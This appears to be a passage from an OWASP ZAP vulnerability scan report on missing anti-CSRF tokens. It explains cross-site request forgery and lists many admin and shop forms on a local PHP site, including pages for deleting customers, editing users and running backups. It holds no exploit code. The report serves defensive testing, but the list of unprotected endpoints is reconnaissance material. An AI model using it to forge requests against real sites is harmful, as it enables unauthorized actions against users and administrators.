No Anti-CSRF tokens were found in a HTML submission form.

A cross-site request forgery is an attack that involves forcing a victim to send an HTTP 
request to a target destination without their knowledge or intent in order to perform an 
action as the victim. The underlying cause is application functionality using predictable URL
/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust 
that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a 
user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they 
can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session 
riding, confused deputy, and sea surf.

CSRF attacks are effective in a number of situations, including:

* The victim has an active session on the target site.

* The victim is authenticated via HTTP auth on the target site.

* The victim is on the same local network as the target site.

CSRF has primarily been used to perform an action against a target site using the victim's 
privileges, but recent techniques have been discovered to disclose information by gaining 
access to the response. The risk of information disclosure is dramatically increased when 
the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, 
allowing the attack to operate within the bounds of the same-origin policy.

URL http://192.168.1.10

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/

Method GET

Attack

Evidence <form class="form col-md-12 center-block" method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

https://www.zaproxy.org/docs/alerts/40032/
http://192.168.1.10
http://192.168.1.10/
http://192.168.1.10/admin/
http://192.168.1.10/admin/ADMIN/ADS/
http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php


Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <form action="Delete_Customer.php" method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <form action="Delete_Customer.php" method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/Customers.php
http://192.168.1.10/admin/ADMIN/ADS/Customers.php
http://192.168.1.10/admin/ADMIN/ADS/Customers.php
http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/index.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3


URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/add_new_products.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence <form method="POST" action="delete_product.php">

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence <form method="POST" action="delete_product.php">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=1

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=10

http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5
http://192.168.1.10/admin/ADMIN/AS/
http://192.168.1.10/admin/ADMIN/AS/add_new_products.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=10


Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=11

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=2

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=3

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=4

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=5

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=6

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=7

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=8

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=9

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method GET

http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=4
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=5
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=6
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=7
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=8
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=9
http://192.168.1.10/admin/ADMIN/AS/index.php


Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/reports.php

Method GET

Attack

Evidence <form action="print_products.php" target="my-iframe" class="form-horizontal" method="
post">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method GET

http://192.168.1.10/admin/ADMIN/AS/reports.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6


Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/OOS/

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/OOS/reports.php

Method GET

Attack

Evidence <form action="print_orders.php" target="my-iframe" class="form-horizontal" method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method GET

Attack

http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7
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http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/OOS/
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/OOS/index.php
http://192.168.1.10/admin/ADMIN/OOS/reports.php
http://192.168.1.10/admin/ADMIN/SERVER/
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php


Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/add_new_announcement.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence <form action="Delete_Customer.php" method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_products.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/add_new_announcement.php
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http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_products.php


URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method GET

Attack

Evidence <form method="POST" action="delete_product.php">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php
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http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php
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Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=1

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=10

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=11

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=2

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=3

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=4

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4
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http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=4


Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=5

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=6

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=7

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=8

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=9

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack

Evidence <form action="print_products.php" target="my-iframe" class="form-horizontal" method="
post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=5
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http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11


Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4
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http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1


Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence <form action="print_orders.php" target="my-iframe" class="form-horizontal" method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence <form action="backup.php" method="post">
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URL http://192.168.1.10/admin/index.php

Method GET

Attack

Evidence <form class="form col-md-12 center-block" method="post">

URL http://192.168.1.10/forgotpass.php

Method GET

Attack

Evidence <form action="mail.php" method="post">

URL http://192.168.1.10/index.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/login.php

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=1

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=1

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=10

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=10

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=11
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Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=11

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=2

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=2

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=3

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=3

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=4

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=4

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=5

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=5

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=6

Method GET
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Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=6

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=7

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=7

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=8

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=8

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=9

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=9

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/products.php

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/products.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/products.php

Method GET

Attack
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Evidence <form method="POST">

URL http://192.168.1.10/products.php?page=1

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/products.php?page=1

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/products.php?page=1

Method GET

Attack

Evidence <form method="POST">

URL http://192.168.1.10/products.php?page=2

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/products.php?page=2

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/products.php?page=2

Method GET

Attack

Evidence <form method="POST">

URL http://192.168.1.10/products.php?page=3

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/products.php?page=3

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10/products.php?page=3

Method GET

Attack

Evidence <form method="POST">

URL http://192.168.1.10/register.php

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">
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URL http://192.168.1.10/register.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post">

URL http://192.168.1.10:80//admin/

Method GET

Attack

Evidence <form class="form col-md-12 center-block" method="post">

URL http://192.168.1.10:80//admin/ADMIN/ADS/

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <form action="Delete_Customer.php" method="post">

URL http://192.168.1.10:80//admin/ADMIN/ADS/index.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/ADS/messages_box.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/ADS/View_Customer.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/AS/

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/AS/announcement_detail.php
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Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence <form method="POST" action="delete_product.php">

URL http://192.168.1.10:80//admin/ADMIN/AS/index.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/AS/reports.php

Method GET

Attack

Evidence <form action="print_products.php" target="my-iframe" class="form-horizontal" method="
post">

URL http://192.168.1.10:80//admin/ADMIN/AS/view_product.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/OOS/

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/OOS/index.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/OOS/reports.php

Method GET

Attack

Evidence <form action="print_orders.php" target="my-iframe" class="form-horizontal" method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user.php

http://192.168.1.10:80//admin/ADMIN/AS/asset.php
http://192.168.1.10:80//admin/ADMIN/AS/asset.php
http://192.168.1.10:80//admin/ADMIN/AS/index.php
http://192.168.1.10:80//admin/ADMIN/AS/reports.php
http://192.168.1.10:80//admin/ADMIN/AS/view_product.php
http://192.168.1.10:80//admin/ADMIN/OOS/
http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/OOS/index.php
http://192.168.1.10:80//admin/ADMIN/OOS/reports.php
http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user.php


Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

